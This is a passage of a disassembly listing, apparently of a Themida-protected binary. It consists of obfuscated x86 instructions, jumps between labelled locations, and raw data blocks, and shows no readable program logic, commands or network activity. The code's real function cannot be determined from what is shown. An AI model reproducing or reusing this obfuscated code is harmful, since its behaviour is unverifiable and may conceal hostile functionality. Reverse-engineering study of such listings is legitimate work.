72h dec dl add dl, 45h add bl, dl pop edx pop eax movzx eax, al jmp loc_535E46 ; --------------------------------------------------------------------------- dword_5356D0 dd 0BE5651ADh, 2C5F16D4h, 3D00ABB9h, 5EF13175h, 1936BA52h ; DATA XREF: Themida_:005350C4o dd 0E2C13AE1h, 7E2C104h, 0AED3E9h db 0 ; --------------------------------------------------------------------------- loc_5356F1: ; CODE XREF: Themida_:00535F52j add ebx, 0A3AA935Eh push edi mov edi, 751402BDh add edi, 61AC489Bh or edi, 52063F53h and edi, 5E0D0E5Fh or edi, 2A6A3F3Bh jmp loc_538BEE ; --------------------------------------------------------------------------- dw 3159h dd 0F7415AD1h, 0FC4DE9D9h, 38E9FFFFh, 81FFFFFCh, 0B7077E3h dd 3CE9557Bh, 0BD000082h, 4, 875DE901h, 248B240Ch, 62A2E924h dd 87B10000h, 8B66C830h, 9868240Ch, 89000042h, 5B54241Ch dd 4C381h, 0E9560000h, 24Dh ; --------------------------------------------------------------------------- loc_535768: ; CODE XREF: Themida_:0053E186j push eax mov eax, 0 mov ebx, eax pop eax push edx push ebx jmp loc_53FCB9 ; --------------------------------------------------------------------------- dd 40558h, 31680000h, 8900000Dh, 40E9242Ch db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53578B: ; CODE XREF: Themida_:005403C5j push ebx mov ebx, esp push 50BBh mov [esp], edi mov edi, 4 sub ebx, 152C173Eh add ebx, edi push esi mov esi, 25B07F81h shl esi, 2 jmp loc_53B73C ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd offset dword_5A1E68 dd 0A250E900h, 0F7590000h, 76E955D9h, 8100006Ch, 0E347E4C6h dd 50C6014Ah, 0CA7806B8h, 7E0C13Dh, 3527E335h, 0E2E94073h db 23h, 2 dup(0) byte_5357E3 db 64h ; DATA XREF: Themida_:005352F0o dd 2B60F66h, 4DC4E9h db 0 byte_5357ED db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005352C4o dd 4EC8324h, 89240489h, 4BB53E0h, 1000000h, 3330E9D8h dd 6CB60000h, 4674E9h db 0 ; --------------------------------------------------------------------------- loc_53580D: ; CODE XREF: Themida_:00539948j pop edx jmp loc_53EBE1 ; --------------------------------------------------------------------------- loc_535813: ; CODE XREF: Themida_:005388C2j inc edi add edi, 1D08E2B0h sub ecx, edi jmp loc_5360AF ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 5520E900h, 2BF0000h, 56000000h, 0F289FE89h dd 8324348Bh, 565F04C4h, 0C26D21BEh, 0F7D6F764h, 75F681DEh dd 0C11D711Eh, 0E7E903EEh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53585B: ; CODE XREF: Themida_:0053E11Fj shr ecx, 0Bh push ecx sub esp, 4 mov [esp], ebp mov ebp, ebx push edi mov edi, ebp mov ecx, edi pop edi mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_536FED ; --------------------------------------------------------------------------- dw 0F001h dd 2404875Eh, 4361E95Ch, 0D5BD0000h, 0C12FF463h, 0E58102E5h dd 47C903ECh, 0D4B95157h, 0BF2A7A78h, 7C51A019h, 0FFFD80E9h dd 0EC980FFh, 3B97E9h, 4EC8300h, 66242C89h, 6639D9BDh dd 0F766FD87h, 665566D7h, 1616E957h db 2 dup(0) word_5358CA dw 4ACh ; DATA XREF: Themida_:005352B0o dd 0ED0437h, 4EC81D8h, 89000000h, 0EDB22414h, 23B55166h dd 0DAE9E800h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5358E7: ; CODE XREF: Themida_:0053E137j xchg esi, edx not esi xchg esi, edx dec edx jmp loc_54014D ; --------------------------------------------------------------------------- db 57h dd 2F1FA8BFh, 81D7F767h, 0C679D8EFh, 0EF814F41h, 13C3F4B9h dd 815FFA21h, 19176CEAh, 1144E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535916: ; CODE XREF: Themida_:0053CBB8j mov [esp], edi mov edi, 100B5369h jmp loc_5403CA ; --------------------------------------------------------------------------- db 5Ah dd 31240C33h, 0C33240Ch, 2D685C24h, 89000018h, 91682434h dd 0E9000049h, 87E4h dword_535940 dd 2DBE56ADh, 2912415Ch, 24348BF0h, 9C4EE9h, 0F6815A00h ; DATA XREF: Themida_:00535204o dd 5254237Fh, 0AD7E9h, 5FFD0100h, 42E9E889h, 0BF00008Ch dd 4B9B1186h, 41E5B850h, 0AFE937FAh db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_535977: ; CODE XREF: Themida_:0053EC4Aj push dword ptr [esp] pop eax jmp loc_536522 ; --------------------------------------------------------------------------- loc_535980: ; CODE XREF: Themida_:0053D230j mov eax, 8302168h jmp loc_53A297 ; --------------------------------------------------------------------------- dw 2B8h dd 81000000h, 7F0981EFh, 81C70161h, 7F0981C7h, 0FF575861h dd 0FF042474h, 34FF2434h, 0C4835F24h, 4C48304h, 547CE9h dd 0E9E68900h, 725Eh dword_5359BC dd 0E924048Bh, 0ACA1h, 0B393C681h, 0F221FE7Ah, 4EC815Eh ; DATA XREF: Themida_:005352A8o dd 89000000h, 0F9BD242Ch, 8109195Dh, 0D70239EAh, 0E9EA296Ah dd 0AB3Eh, 4247C01h, 1BB4E9h, 50DD8800h, 0C288E888h, 0E95B5958h dd 9148h ; --------------------------------------------------------------------------- loc_535A00: ; CODE XREF: Themida_:00535585j add ebx, eax jmp loc_53957B ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 31E9240Ch db 52h, 2 dup(0) byte_535A13 db 66h ; DATA XREF: Themida_:005350E0o dd 6824048Bh, 535Eh, 0E9243489h, 68FCh, 8924248Bh, 0E9542434h dd 7E87h ; --------------------------------------------------------------------------- loc_535A30: ; CODE XREF: Themida_:005355FCj mov ebx, [esp] add esp, 4 add ebx, 38486DAFh pop edi sub esp, 4 jmp loc_538787 ; --------------------------------------------------------------------------- dd 24048F5Eh, 66F9F65Ch, 66CCB60Fh, 6628A668h, 66240C89h dd 0E9C8B60Fh, 1880h ; --------------------------------------------------------------------------- loc_535A64: ; CODE XREF: Themida_:005392C0j add ebp, edi sub ebp, 5B013530h push esi mov esi, 36A4328Dh and esi, 36352A1h and esi, 79D718BFh add esi, 71BF6736h add ebp, 5C5459B1h sub ebp, 109421D4h sub ebp, esi add ebp, 109421D4h sub ebp, 5C5459B1h pop esi pop edi push edx mov edx, 4 add ebp, edx pop edx push 3D88h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov ecx, [esp] jmp loc_539CD7 ; --------------------------------------------------------------------------- dw 9BBEh dd 8109AE10h, 9B2801EEh, 0E9EE2950h, 0DC4h byte_535AD4 db 8Bh, 4, 24h ; DATA XREF: Themida_:005350CCo ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi push ebx mov ebx, 4 add ebp, ebx push dword ptr [esp] pop ebx push ebx push esp pop ebx push edx jmp loc_53E12C ; --------------------------------------------------------------------------- dword_535AF8 dd 240C8B66h, 0D8E95456h, 87000071h, 0FF5C243Ch, 51592434h ; DATA XREF: Themida_:0053525Co dd 5556E189h, 35472BBDh, 2FF5811Dh, 551D3547h, 9685551h dd 0E92EAD0Dh, 8725h, 22BA525Dh, 81417670h, 655A71F2h dd 0FDB9E97Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_535B3A: ; CODE XREF: Themida_:0053C3F8j xor eax, 569527CBh sub esi, eax pop eax add esi, 3FBDB778h sub eax, 77AC6BDEh sub eax, esi push edi mov edi, 7764614h push eax mov eax, 2EC64D49h sub eax, 1475129Dh xor eax, 19644110h sub eax, 4EEB5BDFh shr eax, 3 and eax, 39A81C74h add eax, 60522D5Ah xor edi, eax pop eax jmp loc_539A1E ; --------------------------------------------------------------------------- byte_535B7F db 8Fh ; DATA XREF: Themida_:005351C0o dd 0F7DDE902h, 0CAB9FFFFh, 506D0B38h, 75F709B8h, 8BC129F3h dd 0C4832404h, 2F800504h, 33052D40h, 0E90EF616h, 2595h dd 565BDF01h, 2BEh, 8BF70100h, 0C4832434h, 0B5F3E904h dd 53510000h, 316BE9h, 2C890400h, 0E9536691h, 4330h, 66EB885Bh dd 56240C8Bh, 0A291E9h, 667E2C00h, 65B0505Bh, 0B7EBE9h dd 2474FF00h, 23E95A04h, 2900008Ah, 0F2BA52D8h, 2914854Eh dd 4D62E9D0h, 87590000h, 38E9242Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_535C0B: ; CODE XREF: Themida_:0053F729j inc ebx jmp loc_53EBB9 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0C2815A54h, 4, 3304EA83h, 14312414h, 24143324h, 0E924248Bh dd 8717h ; --------------------------------------------------------------------------- loc_535C30: ; CODE XREF: Themida_:0053D5B7j add esi, 26AA7523h pop edi push 6CF4h mov [esp], esi pop dword ptr [edx+38h] pop esi jmp loc_53BB21 ; --------------------------------------------------------------------------- loc_535C48: ; CODE XREF: Themida_:005353D2j add esp, 4 jmp loc_538524 ; --------------------------------------------------------------------------- loc_535C50: ; CODE XREF: Themida_:00536C1Ej sub ecx, 75BBABh sub edx, ecx pop ecx push edi mov edi, edx mov ebp, edi pop edi mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and eax, ebp jmp loc_53C74C ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8304C483h, 72E904EEh, 8800008Eh, 50595AD7h, 0E953F888h dd 8CDBh ; --------------------------------------------------------------------------- loc_535C94: ; CODE XREF: Themida_:00538EA4j pop edi add esi, 1B1A55C7h add esi, edx jmp loc_5396D2 ; --------------------------------------------------------------------------- dw 248Bh dd 24043124h, 0FFF6B6E9h, 0A3BDFFh, 0EB0926AEh, 5CB8505Dh dd 0E909EB3Dh, 1770h, 95AD389h, 0BB535BDAh, 50ED4D49h dd 814BDBF7h, 0ECEC6AF3h, 78BCE9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535CDA: ; CODE XREF: Themida_:00539DE5j add ebp, 0FFFFFFFFh or ebp, 7C84169Eh push ebx mov ebx, 19FE0286h sub ebp, ebx pop ebx sub ebp, 0FFFFFFFFh xor ebp, 36094D93h xor esi, ebp mov ebp, [esp] add esp, 4 xor esi, 43D81DC6h sub esi, 4CDC658Bh xor esi, 0C25192D5h jmp loc_538086 ; --------------------------------------------------------------------------- dd 0E9505557h, 73F6h, 1F2CE800h, 30EEE9h, 0C896600h, 0F6C18824h dd 57CE9D1h, 575E0000h, 85A7E9h, 24043300h, 5A19E9h, 81D9F700h dd 0C7BA5C1h, 85ADE929h, 14890000h, 148B5424h, 4E79E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535D5A: ; CODE XREF: Themida_:00539EE1j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_53AFDA ; --------------------------------------------------------------------------- loc_535D6B: ; CODE XREF: Themida_:00535FC0j pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] add eax, ebp push dword ptr [esp] pop ebp push ebx jmp loc_53DD39 ; --------------------------------------------------------------------------- dw 0C05Ah dd 2EE903E9h, 810000B7h, 0CA67E3F2h, 5AD5010Dh, 2C581h dd 2C870000h, 3B66E924h, 895C0000h, 0A1B1240Ch, 0FFF5F1E9h dd 6F5605FFh, 6B0D5B09h, 55D4F0Dh, 0FBC7379Ah, 5558C789h dd 0C14FBEBDh, 5875E971h, 248B0000h, 2404D324h, 2D6DE99Ch dd 0ED810000h, 7B746B5Fh, 8BBBE956h, 0F5810000h, 0DED8FB38h dd 815DEA29h, 0E4334BF2h, 0F2814263h, 6F325C1Eh, 67EEBB53h dd 0DA3131C7h, 8BD3315Bh, 0C4812414h, 4, 0FFF54AE9h, 0C68158FFh dd 13CF0408h, 0D8E9EE01h, 5500003Eh, 0FFFA5DE9h, 6EEE81FFh dd 8135C84Ch, 68698DEEh, 8BF721C3h, 0C4832434h, 785CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535E46: ; CODE XREF: Themida_:005356CBj push dword ptr [edi+eax*4] jmp loc_535363 ; --------------------------------------------------------------------------- loc_535E4E: ; CODE XREF: Themida_:005386CCj push 1000000h push dword ptr [esp] pop esi push edx jmp loc_53888E ; --------------------------------------------------------------------------- aCARsF db 'Àæ',8,'€ÆRéΔ',0 align 4 dword_535E68 dd 11BE56ADh, 81027F26h, 503960F6h, 53D6F757h, 353CA7BBh ; DATA XREF: Themida_:00535164o dd 0E9DE214Eh, 27ABh, 6624248Bh, 9C242CD3h, 0FFF4D2E9h dd 5AED81FFh, 816C4127h, 2188CC5h, 5DEF01BBh, 795BE9h db 0 ; --------------------------------------------------------------------------- loc_535EA5: ; CODE XREF: Themida_:005394A7j pop edx shr ecx, 5 jmp loc_5402E0 ; --------------------------------------------------------------------------- loc_535EAE: ; CODE XREF: Themida_:0053EBBBj push ebx neg dword ptr [esp] pop ebx shr ebx, 5 sub esp, 4 jmp loc_53FDE7 ; --------------------------------------------------------------------------- word_535EBE dw 8B66h ; DATA XREF: Themida_:00535148o dd 0EC832404h, 242C8904h, 242C8B54h, 0D3AE9h, 6F776800h dd 2C890000h, 48685724h, 5F79935Bh, 5269BE56h, 14E96A0Ah dd 8900002Dh, 0EF015AD5h, 243C875Dh, 0E1F7665Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi jmp loc_535F3F ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 629E953h, 50510000h, 0E588DC88h, 7D8FE9h, 81E18900h dd 4C1h, 8651E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535F22: ; CODE XREF: Themida_:0053677Cj push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push eax jmp loc_5415AC ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 0F3E9565Bh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_535F3F: ; CODE XREF: Themida_:00535EFCj mov edi, 4 add ebp, edi pop edi sub esp, 4 mov [esp], ebx mov ebx, 5C556CA4h jmp loc_5356F1 ; --------------------------------------------------------------------------- loc_535F57: ; CODE XREF: Themida_:00536893j add esp, 4 push edx push 1BFDh jmp loc_53AC3C ; --------------------------------------------------------------------------- loc_535F68: ; CODE XREF: Themida_:0053EDFAj mov ebp, 45C1E68h or ebp, 5E880742h and ebp, 29846B49h neg ebp and ebp, 26F527B3h and ebp, 65AB44C5h jmp loc_537F76 ; --------------------------------------------------------------------------- dd 2B9h, 59CD0100h, 0E9242C33h, 3B1Bh, 5C241487h, 0E9C8BF0Fh dd 71D6h, 0F75E951h, 0D6890000h, 0FFF99CE9h, 5DEE29FFh dd 57E3E9h db 0 ; --------------------------------------------------------------------------- loc_535FBD: ; CODE XREF: Themida_:0053AB92j pop ebp push ebx push esp jmp loc_535D6B ; --------------------------------------------------------------------------- db 68h, 8Dh, 66h dd 2C890000h, 75376824h, 0EC810000h, 4, 57242489h, 4BFh dd 247C0100h, 48F5F04h, 68515624h, 29E61CE7h, 81D1F759h dd 19E314E9h, 59CE89D6h, 4247401h, 0BA525D5Eh, 4CE46B0Ah dd 36FFE9h, 4EC8300h, 83242489h, 8B042404h, 0C483243Ch dd 4C78104h, 53000000h, 4BBh, 23BD5500h, 290CF341h, 0C7815DEFh dd 635C7337h, 0EF81DF01h, 635C7337h, 600BE9h, 2065B400h dd 0C58058E5h, 0AF19E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_536052: ; CODE XREF: Themida_:0053EA36j shr ecx, 0Ah jmp loc_537FA4 ; --------------------------------------------------------------------------- a1ih4 db '1ëhÕ4',0 dd 243C8900h, 0FFF8FEE9h, 511725FFh, 0B02D6878h, 560A105Fh dd 5DA6E9h, 0F6805B00h, 0E95366ADh, 1268h, 7CE9545Ch db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53608B: ; CODE XREF: Themida_:0053F2E7j push ecx jmp loc_5404B2 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 1C6CBDE5h, 81DDF713h, 0BED86F5h, 5DEB31A2h, 61BBC381h dd 0B6E97952h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5360AF: ; CODE XREF: Themida_:0053581Cj pop edi jmp loc_53B8F5 ; --------------------------------------------------------------------------- aZLSeb db 'Z)L$',8,'éeB',0 dw 5E00h dd 708FE9h, 24048900h, 44EFE9h, 48F5C00h, 0B1A7E924h, 4890000h dd 52F3B424h, 5AE9E288h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5360E3: ; CODE XREF: Themida_:0053F788j xor dl, 90h add dl, 22h jmp loc_53A1EC ; --------------------------------------------------------------------------- dw 0A068h dd 0E900001Eh, 520Ch, 0FB0E381h, 0F3816B46h, 6C0B47A1h dd 325CE9h, 58E38800h, 0E95BD920h, 6559h ; --------------------------------------------------------------------------- loc_536114: ; CODE XREF: Themida_:00540331j xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ebp sub esp, 4 mov [esp], edx mov edx, 62F901FEh push ebx jmp loc_53664D ; --------------------------------------------------------------------------- loc_536132: ; CODE XREF: Themida_:0053D18Cj mov [esp], ebp mov ebp, 747F1FC0h add ebp, 239E2C6Dh add ebp, 0F55E4F7Fh mov esi, ebp jmp loc_53DA53 ; --------------------------------------------------------------------------- loc_53614D: ; CODE XREF: Themida_:00538BC6j push edi push esi mov esi, 236738F5h push ecx jmp loc_5373C7 ; --------------------------------------------------------------------------- loc_53615A: ; CODE XREF: Themida_:0053BBABj push eax mov ah, 0DAh mov dh, ah jmp loc_53F671 ; --------------------------------------------------------------------------- loc_536164: ; CODE XREF: Themida_:0053ADA0j pop eax push edx mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_53FA80 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 55B5BB53h, 515538D5h, 0EC314EB9h, 8BCD8922h dd 67E9240Ch db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53619F: ; CODE XREF: Themida_:0053641Aj xor ebp, 3FDBFC5Ah mov eax, ebp pop ebp add eax, edx add [eax], ecx pop eax pop edx pop ecx loc_5361AF: ; CODE XREF: Themida_:00536378j sub esp, 4 mov [esp], edi jmp loc_53BDE4 ; --------------------------------------------------------------------------- dw 348Bh dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 146EE95Ch dd 0C1800000h, 0F6CFE9C9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5361DA: ; CODE XREF: Themida_:0053CE55j mov [esp], edx mov edx, 3FD84E3Eh inc edx sub edx, 62601D87h shr edx, 1 jmp loc_536DDD ; --------------------------------------------------------------------------- dd 8BD20ABFh, 5FFB01E6h, 7FB1E955h, 89500000h, 405E0h dd 4050000h, 87000000h, 0D8E92404h, 870000A0h, 248B2414h dd 241C8924h, 950CE951h, 0C4810000h, 2, 212CF000h, 138AE9h dd 0E9D83100h, 6422h, 148BF000h, 5F545724h, 4CBEBA52h dd 0C28165C8h, 56B15F8h, 6629BE56h, 0F6814D84h, 1DEC5357h dd 2DCE814Eh, 8160082Ch, 0E81E14C6h, 21C68116h, 31E3E307h dd 8C6E9F2h, 0C6810000h, 407D44FDh, 8904EC83h, 28BB241Ch dd 295B767Ch, 0F1315BDEh, 8625E95Eh, 0FF5A0000h, 99E92434h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536297: ; CODE XREF: Themida_:005369A5j push eax mov eax, 3E1959A0h not eax not eax push esi mov esi, 2D4979BDh add eax, esi jmp loc_536D9D ; --------------------------------------------------------------------------- dw 0C888h dd 0B5515966h, 52C5FE0Eh, 0D5080DB2h, 2186E9h, 4EB8100h dd 87000000h, 895C241Ch, 4832424h, 57580424h, 4BFh, 5FF80100h dd 0B33EE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5362E2: ; CODE XREF: Themida_:0053C2A9j mov ch, bl pop ebx jmp loc_53D678 ; --------------------------------------------------------------------------- loc_5362EA: ; CODE XREF: Themida_:005388D7j mov esi, esp add esi, 4 add esi, 4 jmp loc_537C2A ; --------------------------------------------------------------------------- db 66h, 68h, 4Eh dd 489664Dh, 0F059E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53630A: ; CODE XREF: Themida_:0053CFC9j xor [esp+4], esi mov esi, [esp] push eax jmp loc_539AE5 ; --------------------------------------------------------------------------- db 53h dd 0E8895B5Dh, 83242C8Bh, 0C78104C4h, 1D9437B9h, 0C9E95752h dd 5E0000A3h, 68575355h, 45C77168h, 1EF835Fh, 20CDF781h dd 19E9256Dh db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536347: ; CODE XREF: Themida_:0053CAFDj xor esi, [esp] xor [esp], esi jmp loc_53B8E4 ; --------------------------------------------------------------------------- loc_536352: ; CODE XREF: Themida_:00538187j pop esp jmp loc_539CF7 ; --------------------------------------------------------------------------- loc_536358: ; CODE XREF: Themida_:00540B23j xor [esp], edi xor edi, [esp] jmp loc_53C1EA ; --------------------------------------------------------------------------- db 81h dd 3C2A61E3h, 0F3BDE91Ch, 0C583FFFFh, 731DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536376: ; CODE XREF: Themida_:0053A4F8j or eax, eax jz loc_5361AF push dword ptr [edi+1Ch] push 359Fh jmp loc_5400BF ; --------------------------------------------------------------------------- db 58h dd 4C483h, 41B551C3h, 34FFEB28h, 8B4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53639E: ; CODE XREF: Themida_:0053E5A4j jmp loc_535363 ; --------------------------------------------------------------------------- db 66h dd 0B7241C89h, 66F800CBh, 2CD8285Bh, 0F80FE9CBh, 0BA52FFFFh dd 341311DDh, 64CDCA81h, 0F281378Fh, 3FA20448h, 0B85AD789h dd 0F7C28E6Ch, 15FF801h, 4EEBE9C6h, 665C0000h, 81240C8Bh dd 4ECh, 243C8900h, 0B951E789h, 4, 0FFF244E9h, 4BBFFh dd 0E9500000h, 0EA8h ; --------------------------------------------------------------------------- loc_536400: ; CODE XREF: Themida_:005414A6j sub edx, 733A3948h push eax push ebp mov ebp, 12917E79h inc ebp add ebp, 2D4A319Eh or ebp, 35C97C4Ah jmp loc_53619F ; --------------------------------------------------------------------------- db 0FEh dd 4CF480C4h, 8858E788h, 0F2805BFAh, 0E9D204B7h, 7144h dd 0E95EF001h, 6CAFh, 0EDE95357h, 81000015h, 4C6h, 4BDDE900h dd 0FF540000h, 505D2434h, 0BA52E089h, 4, 835AD001h, 48704C0h dd 0C5815C24h, 4, 9745E953h, 0EC810000h, 4, 0BB241C89h dd 43BA1F24h, 9E7FE9h, 41E9D100h, 7FAAB850h, 71352056h dd 3572B16Ch, 42FE0B4Ch, 325C8605h, 0AE7EE907h, 0EB680000h dd 8900005Ch, 0EC812434h, 4, 24048F54h, 4240481h, 5E000000h dd 4B951h, 0C6810000h, 538B3169h, 6BE9CE01h, 87000030h dd 665C241Ch, 5D66E831h, 4BD2E953h, 34870000h, 4895C24h dd 2D0AE924h, 0C1810000h, 1FB4158h, 0FFF039E9h, 245C8AFFh dd 24648804h, 24048B04h, 81E18951h, 4C1h, 4C18300h, 2474FF51h dd 0D2E95904h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_536517: ; CODE XREF: Themida_:0053FB5Cj push esi mov esi, 1794050Bh jmp loc_53B24B ; --------------------------------------------------------------------------- loc_536522: ; CODE XREF: Themida_:0053597Bj add esp, 4 sub [edi+24h], ebx mov ebx, [esp] push edx mov edx, esp jmp loc_54108F ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 3BC5h, 0C288D0F6h, 2EAC058h, 6622EA80h dd 0F682B151h, 80D1F6D1h, 0C80046F1h, 240C8B66h, 0E902C483h dd 8A52h, 7B07C681h, 0CE0101DFh, 7B07EE81h, 0C0E901DFh dd 81000039h, 4C4h, 7EEC100h, 9AEBE9h, 2434FF00h, 4C4815Bh dd 0FE000000h, 0CC8FEC0h, 56A6E94Bh db 2 dup(0) word_536596 dw 77FFh ; DATA XREF: Themida_:005350F0o dd 59669D1Ch, 2414D366h, 9484E99Ch db 2 dup(0) word_5365A6 dw 1CF6h ; DATA XREF: Themida_:005352FCo aSP db '$œé-P',0 db 0 ; --------------------------------------------------------------------------- loc_5365AF: ; CODE XREF: Themida_:0054012Cj pop dword ptr [esp] mov esp, [esp] jmp loc_53FB18 ; --------------------------------------------------------------------------- dw 0EB81h dd 2C717758h, 0C381C329h, 2C717758h, 643BEB81h, 0BE5603A2h dd 66DB00C4h, 0EE83D6F7h, 73C681FFh, 0C162E26Eh, 0EE8102EEh dd 637A6CB6h, 2EBA5257h, 0E94A2534h, 0FFFFF720h ; --------------------------------------------------------------------------- loc_5365F4: ; CODE XREF: Themida_:005412B1j xor edi, eax xor eax, edi sub esp, 4 mov [esp], edx push esi jmp loc_538A48 ; --------------------------------------------------------------------------- dd 4BEh, 5EF70100h, 8B243C87h, 0CCE92424h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536617: ; CODE XREF: Themida_:0053762Bj mov edi, ecx jmp loc_538BAC ; --------------------------------------------------------------------------- loc_53661E: ; CODE XREF: Themida_:0053A710j push ebp mov ebp, esp push ecx mov ecx, 53901675h xor ecx, 72E16F76h push eax jmp loc_537CDE ; --------------------------------------------------------------------------- db 89h dd 0B450241Ch, 58E7883Fh, 0CFFEC7FEh, 0F780EFD0h, 5BFA88FFh dd 2CB7E9h db 0 ; --------------------------------------------------------------------------- loc_53664D: ; CODE XREF: Themida_:0053612Dj mov ebx, 44DC75AEh mov ebp, 26A57450h xor ebp, ebx jmp loc_53EF81 ; --------------------------------------------------------------------------- word_53665E dw 8B66h ; DATA XREF: Themida_:00535318o db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 31C1384Eh shl eax, 3 or eax, 419A46DAh dec eax push edx mov edx, 64E24B60h and eax, edx jmp loc_53A0E4 ; --------------------------------------------------------------------------- loc_536681: ; CODE XREF: Themida_:0053EC8Ej pop ebp jmp loc_53B539 ; --------------------------------------------------------------------------- db 0BAh dd 7C57701Ah, 68h, 78E0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536696: ; CODE XREF: Themida_:0053DA0Ej mov edi, [esp] jmp loc_53B6D6 ; --------------------------------------------------------------------------- dw 8159h dd 4ECh, 2E59E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5366AA: ; CODE XREF: Themida_:0053F80Bj pop esi push 1689h jmp loc_539BAE ; --------------------------------------------------------------------------- db 59h, 53h, 0E9h dd 0F74h, 242C8158h, 2B656405h, 31D5E952h, 4890000h, 0E983B024h dd 1BD1h, 8DC0B60Fh, 0DC688704h, 8900001Ch, 7CE92404h dd 88FFFFECh, 0E78853FCh, 88FA8852h, 0E95B5AD5h, 1EF8h ; --------------------------------------------------------------------------- loc_5366F8: ; CODE XREF: Themida_:0053D06Ej xor [esp+4], ecx mov ecx, [esp] add esp, 4 pop eax push edi mov edi, 19EC6C0Ah xor eax, edi pop edi pop ebp push 52ACh jmp loc_53AA6D ; --------------------------------------------------------------------------- db 5Bh dd 5EE58145h, 81707C41h, 3BD2D3EDh, 16C1811Dh, 0E96F2D4Fh dd 0FFFFFDBAh, 787B6851h, 24890000h, 4685224h, 5A000000h dd 4245401h, 434CE95Ah, 0C1810000h, 0B589BEA0h, 3AE9CF01h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_536757: ; CODE XREF: Themida_:0053F7B6j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 114A03C8h push esi mov esi, 64096BEFh shr esi, 5 sub esi, 0F1D68797h sub ebp, esi jmp loc_535F22 ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 0E95B0424h, 97CAh, 311A392Dh, 68685779h, 89000045h dd 7BE9240Ch, 0FF00008Ch, 48B2434h, 8BE7E924h, 132D0000h dd 2D271C21h, 788A0F08h, 10CD72Dh, 6ABB5374h, 0E9271C6Fh dd 0FFFFFB9Fh ; --------------------------------------------------------------------------- loc_5367C4: ; CODE XREF: Themida_:00538BBDj mov ebp, 2C503BD9h add ebx, ebp pop ebp pop edi push dword ptr [eax] jmp loc_535363 ; --------------------------------------------------------------------------- loc_5367D4: ; CODE XREF: Themida_:0053AD2Fj movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], edx mov edx, 32FC1BA4h add [esp+4], edx pop edx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push esi mov esi, 292C736Bh push eax mov eax, 631B08E3h or eax, 42702031h jmp loc_53C3F7 ; --------------------------------------------------------------------------- loc_536812: ; CODE XREF: Themida_:0053A773j pop edx sub esp, 4 mov [esp], edi mov edi, 643D5B6Fh mov eax, 1CAA77F5h xor eax, edi pop edi push ebx jmp loc_537D83 ; --------------------------------------------------------------------------- db 1 dd 3C875EF7h, 815A5C24h, 4C2h, 2C28100h, 33000000h, 14312414h dd 24143324h, 60F9E95Ch, 0C4830000h, 0A5D4E904h, 0EE810000h dd 27EC6C9Bh, 4BD555Ah, 1000000h, 4EE95DEEh db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53686F: ; CODE XREF: Themida_:00540BCFj mov ecx, [esp] add esp, 4 jmp loc_539587 ; --------------------------------------------------------------------------- loc_53687A: ; CODE XREF: Themida_:0053C79Bj push eax push ecx push dword ptr [esp] pop eax add esp, 4 mov ecx, [esp] push ebp jmp loc_5377B4 ; --------------------------------------------------------------------------- loc_53688C: ; CODE XREF: Themida_:0053CFFBj mov [esp], edi pop eax mov edi, [esp] jmp loc_535F57 ; --------------------------------------------------------------------------- dd 2801C681h, 92E9509Bh, 8B00007Ah, 